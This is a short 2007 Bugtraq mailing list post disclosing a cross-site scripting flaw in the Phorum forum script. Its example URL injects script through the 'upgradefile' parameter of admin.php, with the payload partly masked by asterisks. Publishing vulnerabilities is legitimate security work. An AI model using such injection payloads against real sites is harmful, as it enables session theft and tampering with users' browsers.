Bugtraq mailing list archives

XXS in script Phorum


From: "RaeD Hasadya" <raed () bsdmail com>
Date: Sun, 04 Mar 2007 19:58:07 +0800

=======================================================================
Script : Script Phorum
Found By : Hasadya Raed
Contact : RaeD () BsdMail Com
=================================================
exemple:
http://www.site.com/[path]/admin.php?upgradefile=";>**********alert(********.******);</script>
======================
Greetz : Only To Security Focus :)





-- 
_______________________________________________
Get your free email from http://bsdmail.com


Current thread: